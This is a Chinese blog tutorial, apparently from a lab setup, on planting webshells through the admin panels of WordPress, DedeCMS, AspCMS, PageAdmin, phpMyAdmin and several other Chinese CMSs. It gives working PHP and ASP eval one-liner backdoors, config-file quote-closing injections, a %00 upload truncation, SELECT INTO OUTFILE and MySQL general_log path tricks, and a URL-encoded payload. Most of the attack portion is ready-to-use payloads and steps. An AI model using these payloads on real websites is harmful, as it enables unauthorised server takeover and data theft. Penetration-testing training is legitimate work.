网站后台getshell


网站后台getshell

概述

通过注入或者其他途径,获取网站管理员账号和密码后,找到后台登录地址,登录后,寻找后台漏洞上传网页后门,获取网站的webshell

webshell的作用是方便攻击者,webshell是拥有fso权限,根据fso权限的不同,可以对网页进行编辑,删除,上传或者下载,查看文件。

攻击者也可以通过这个webshell对服务器进行提权,提权成功后,会得到服务器管理权限。

拿webshell也叫getshell。

途径

网站后台的因为功模块较多,很多开发人员也不会对后台的业务输入,进行严格过滤,输入有危害的内容,与漏洞配合很容易拿到网站的webshell。

可以通过文件上传漏洞、SQL注入漏洞、文件任意写入漏洞、文件远程下载漏洞,SQL语句执行漏洞、数据库备份漏洞,文件包含漏洞等漏洞获取网站的webshell。

根据利用的漏洞类型分为:

  • 模板编辑拿webshell

    通过修改模块写入一句话,网站再调用模板的时,会自动加载这个模板,运行后门。

  • 文件上传拿webshell

    通过后台的上传模块,上传网页后门,就可以拿到webshell

  • 文件写入拿webshell

    通过可控参数将恶意代码写入文件里,即可获取webshell

  • zip自解压拿webshell

    上传zip文件,在其加入webshell文件,程序会自动解压,将后门解压到网站目录,可以获取webshell。

  • 远程图片下载拿webshell

    有的网站后台会存在远程图片下载功能,但是没有对其后缀名进行限制,导致可以下去webshell文件。

  • 编辑器漏洞拿webshell

    有的编辑器存在上传漏洞,通过编辑器漏洞可以获取网站的webshell。

  • 备份拿webshell

    很多的asp网站 都存在备份功能,上传有恶意的图片,备份成脚本文件,即可获取webshell

  • SQL语句执行拿webshell

    有的网站存在sql执行命令,可以通过命令备份或导出一句话后门到指定网站目录,即可获取webshell

  • SQL注入写shell 拿webshell

    网站前台设置了防注入,但是后台一般都存在注入,如果权限有读写,使用命令进行读写文件,或者执行写入后门,即可获取webshell

实战

word press后台 getshell

我们先登陆后台

后台路径

www.cbi1.com/wp-admin/

image-20211204104306909

admin 123456 登录进入后台管理

修改模板getshell

接下来我们进入 外观 主题 编辑

image-20211204104541910

我们通过写入php一句话方式getshell,看到404模板为php后缀文件,所以我们在此加入一句话会被解析执行。

一句话
<?php phpinfo();eval($_POST['123']);?>

image-20211204105007809

在靶机上我们查看文件发现一句话确实被写入了

image-20211204110538620

路径
www.cbi1.com\wp-content\themes\twentysixteen\404.php

看到phpinfo语句被执行

image-20211204110603509

用蚁剑也能连接上

image-20211204110806317

zip自解压getshell

进入后台管理后,在外观 主题 下发现可上传主题

image-20211204110950993

在事先准备好的主题下写入一句话,然后压缩为zip格式上传即可

image-20211204111258930

可看到上传上去了

路径
http://www.cbi1.com/wp-content/themes/moon/1.php

可看到phpinfo信息

image-20211204111555067

连接也可成功

image-20211204111636883

dedecms后台 getshell

首先还是要进入后台

路径
http://www.cbi2.com/dede/login.php

image-20211204114057624

admin 123456 进入后台管理

文件上传 getshell

进入后台后发现附件管理里有个上传新文件,点击后发现限制了后缀

image-20211204114255073

然而点击文件式管理器后,发现也可上传文件且没有限制

我们准备好一句话上传上去

image-20211204114521600

路径
http://www.cbi2.com/uploads/1.php

image-20211204114452199

image-20211204114653835

修改模板getshell

我们在模板 默认模板管理里发现可以修改模板

image-20211204114936335

但是里面的都是htm后缀,我们如果加入php一句话显然不会被作为php代码解析

接着我们在生成里发现了更新主页htm,我们可以把主页htm后缀改为php后缀,即可解决一句话不解析的问题

在index.htm模板里加入一句话

image-20211204120913107

在生成里更改主页的后缀

image-20211204121003150

访问index.php,看到一句话被作为php解析了

image-20211204121020685

任意命令执行getshell

代码审计后发现此方法

登录后台后,我们在模块里发现广告管理 增加广告中可以写入代码

我们写入一句话

image-20211204121556743

写入了

image-20211204121714512

路径
http://www.cbi2.com/plus/ad_js.php?aid=5

进行连接

这里写入的一句话内容
<?php phpinfo();eval($_POST['123']);?>
但是无法用蚁剑连接,把post里的引号去掉,发现可以连接了
<?php phpinfo();eval($_POST[123]);?>

这里的一句话是写入数据库,所以引号会报错

可以看到拿到了webshell

image-20211205131348554

分析源码 这是在网站里找到的广告调用

<?php
/**
 *
 * 广告JS调用方式
 *
 * @version        $Id: ad_js.php 1 20:30 2010年7月8日Z $
 * @package        DedeCMS.Site
 * @copyright      Copyright (c) 2007 - 2010, DesDev, Inc.
 * @license        http://help.dedecms.com/usersguide/license.html
 * @link           http://www.dedecms.com
 */
require_once(dirname(__FILE__)."/../include/common.inc.php");

if(isset($arcID)) $aid = $arcID;
$arcID = $aid = (isset($aid) && is_numeric($aid)) ? $aid : 0;
if($aid==0) die(' Request Error! ');

$cacheFile = DEDEDATA.'/cache/myad-'.$aid.'.htm';
if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )
{
    $row = $dsql->GetOne("SELECT * FROM `#@__myad` WHERE aid='$aid' ");
    $adbody = '';
    if($row['timeset']==0)
    {
        $adbody = $row['normbody'];
    }
    else
    {
        $ntime = time();
        if($ntime > $row['endtime'] || $ntime < $row['starttime']) {
            $adbody = $row['expbody'];
        } else {
            $adbody = $row['normbody'];
        }
    }
    $adbody = str_replace('"', '\"',$adbody);
    $adbody = str_replace("\r", "\\r",$adbody);
    $adbody = str_replace("\n", "\\n",$adbody);
    $adbody = "<!--\r\ndocument.write(\"{$adbody}\");\r\n-->\r\n";
    $fp = fopen($cacheFile, 'w');
    fwrite($fp, $adbody);
    fclose($fp);
}
include $cacheFile;

首先获取广告aid,若为0返回 request error;

然后从数据中获取内容拿到catch file 文件里,然后包含进来,这会导致命令执行

所以我们可以写入一句话getshell

aspcms后台 getshell

我们首先进入后台,路径如下

www.cbi3.com/admin_aspcms

admin 123456进入后台

image-20211205134706714

修改配置文件getshell

在后台里,如果可以修改网站配置文件,且没有做过滤,则我们可以写入准备好的语句getshell。

这里需要注意闭合的问题,因为配置文件在网站中是全局调用,出错的话网站无法访问。

字符类型闭合和数字闭合依次如下:

字符型用双引号闭合

"%><%eval request(chr(35))%><% 
%><%eval request(chr(35))%><%

接下来我们找没有被过滤的地方

image-20211205141435233

修改后再config配置文件中查看

image-20211205141538658

此处不行

我们又发现了类似于之前的模板修改

image-20211205141716293

但是后缀为html,我们需要修改后缀,这里需要让后缀为asp,抓包试下

image-20211205141905992

改为asp后发现出错,这里也不行

image-20211205141942901

接着我们再扩展功能-幻灯片设置这里,发现这里也是对配置文件进行修改

image-20211205142310658

接着我们需要找的是没被过滤的地方,尝试后说明文字加双引号也被过滤

所以我们尝试数字这里,抓包

image-20211205142535447

我们再这里尝试1后加一句话

%><%eval request(chr(35))%><%

一句话做url编码

image-20211205142955556

最后如下

slidestyle=1%25><%25eval+request(chr(35))%25><%25

我们查看靶机的配置文件

image-20211205143129585

image-20211205143351022

连接地址

http://www.cbi3.com/config/AspCms_Config.asp

成功拿到了webshell

image-20211205143409093

南方数据企业系统getshell

先进入后台,

http://www.cbi7.com/admin

image-20211205143627058

admin 123456进入

image-20211205143650958

上传截断getshell

这里找是否能直接上传脚本文件

image-20211205144348110

看到这里有个上传点

直接上传asp脚本文件

image-20211205144718721

防止体量太小前面加点字符

一句话

<%eval request("123")%>

直接上传asp文件发现不允许上传

image-20211205144836780

但是我们在这里发现,上传时可以选择目录路径,猜测它上传时放到目录下,我们这里想必可以使用%00截断来上传asp文件

image-20211205144916360

首先修改文件名称

image-20211205145124183

然后修改目录路径做%00截断,截断后仍作为asp格式上传上去

image-20211205145311787

做了url decode后

image-20211205145338867

可以看到成功上传了

image-20211205145417792

上传路径也显示出来了

http://www.cbi7.com/Upload/PicFiles/2.asp

拿到了webshell

image-20211205145648721

修改配置文件getshell

这里我们也在找找这种方法getshell

我们在系统管理-网站信息设置里

image-20211205151555992

发现单引号不会出错,双引号内部服务器出错

但是这里我们需要用双引号闭合

image-20211205151851951

我们构造一句话

"%><%eval request(chr(35))%><%s="

“闭合前面的”

%>闭合前面的<%

中间写入asp一句话

<%闭合后面的%>

s=”闭合后面的”

image-20211205153113289

虽然双引号闭合报内部服务器错误,但是我们用蚁剑连接发现可以连接

连接路径

www.cbi7.com/Inc/Const.asp

拿到webshell

image-20211205153435344

我们在系统管理-常量设置,找到了系统的配置文件修改,这里显然也可插入一句话

<%eval request(chr(35))%>

image-20211205153733141

直接再最后加入一句话

因为修改的是同一个常量文件,所以还是上面的路径

连接拿到了webshell

image-20211205153856792

phpmyadmin getshell

我们打开phpstudy,安装phpmyadmin,登录phpmyadmin

执行sql命令 getshell

登录phpmyadmin后,我们可以使用into outfile写入后门

select '<?php phpinfo();eval($_POST[123]);?>' into outfile 'D:/phpstudy_pro/WWW/www.k123.com/x.php'

必须写入网站目录下,一句话后门才能被解析

image-20211206140346154

命令无法执行因为在安装MySQL的时候限制了导入与导出的目录权限。只允许在规定的目录下才能导入,需要修改mysql配置文件

我们可以去掉导入的目录限制,再mysql配置文件中加入

secure_file_priv =

image-20211206141119198

修改后重启mysql命令即可执行

image-20211206141157093

可以再网站根目录下看到确实写入了

image-20211206141253499

image-20211206141310856

成功getshell

image-20211206141345792

mysql日志文件getshell

我们利用mysql的日志文件写入shell,这个日志文件可以通过phpmyadmin,修改他的存放位置和后缀

首先我们再phpmyadmin中开启日志记录

SET global general_log = "ON";

image-20211206143401203

我们可以在常量处查看是否修改

image-20211206143527364

然后我们给日志一个保存路径,并且附加后缀

保存好原有路径,测试完后改回去

D:\phpstudy_pro\Extensions\MySQL5.7.26\data\WIN-GB0DQ04MBCM.log
SET global general_log_file ='D:/phpstudy_pro/WWW/www.k123.com/a.php';

image-20211206143613853

然后我们搜索一句话会被日志记录下来

select '<?php phpinfo();eval($_POST[123]);?>'

image-20211206143630319

image-20211206143702026

可以看到日志记录在了网站目录下,并且我们查询的一句话被记录下了

此时我们的一句话后门就会被解析

image-20211206143756850

并且成功getshell

image-20211206143826077

pageadmin getshell

还是先登录后台管理,

www.cbi9.com/admin

image-20211206144711456

admin 123456进入

image-20211206144735476

上传模块getshell

进入后台后,我们首先在工具-文件管理处寻找,

image-20211206145259379

这里我们发现可以改名,我们尝试后发现不能修改为php、asp等的后缀名,做了限制

然后我们在功能中发现了上传文件

image-20211206145410768

经尝试发现不能上传php、asp后缀文件

功能中还有个模板安装,允许上传zip格式文件

image-20211206145538460

我们这里尝试把一句话压缩为zip格式上传

image-20211206145837611

发现可以上传

安装后我们在Templates/1 中找到了我们上传的模板

image-20211206150020825

路径

www.cbi9.com/Templates/1/1.aspx

成功getshell

image-20211206150217309

到这里我们发现一个事,既然zip上传可行,我们刚才的文件上传是不是也可以上传zip格式

image-20211206151647010

尝试之后发现上传上去了,我们把它解压即可getshell,就不演示了

利用配置文件中的数据库连接信息getshell

我们在文件管理中发现了后缀为config的配置文件

image-20211206152126179

查看后我们发现了数据库的连接信息

image-20211206152209725

我们用数据库客户端连接它

user id为SA应该是个SQL server数据库

image-20211206152644413

image-20211206152735065

成功getshell

image-20211206152803532

无忧企业系统 getshell

还是先找后台管理进入

www.cbi18.com/admin

image-20211206162717194

admin 123456进入

image-20211206162737260

上传文件getshell

进入后台后我们发现上传点

image-20211206163843622

但是发现asp、php等的后缀无法上传

image-20211206163912432

看到只允许xxx的,显然做了一个白名单,而且我们在网站设置处发现了这个白名单设置

image-20211206164017460

那我们只需要把我们想要上传的后缀加上去上传即可,就不演示了

留言一句话到数据库getshell

如果access数据库是asp格式,我们可以插入一句话到数据库,访问数据库即可getshell

image-20211206164209421

我们通过留言来写入一句话

image-20211206164515043

在网站前台留言,然后再后台回复一句话

┼攠數畣整爠煥敵瑳∨≡┩愾 密码a

image-20211206164636158

这样我们的一句话就插入到数据库里

我们可以直接通过数据库路径访问

image-20211206164803721

asp文件名字需要url编码

image-20211206164836249

500错误证明我们的一句话写入了

http://www.cbi18.com/Databases/%25%23%40%24%40%23%46%44%53%40%23%24%25%25%23.asp

成功getshell

image-20211206164910522

我们也可以将数据库备份为asp文件,然后通过备份的路径访问webshell

image-20211206165007766


文章作者: 晓莎K
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 晓莎K !
评论
  目录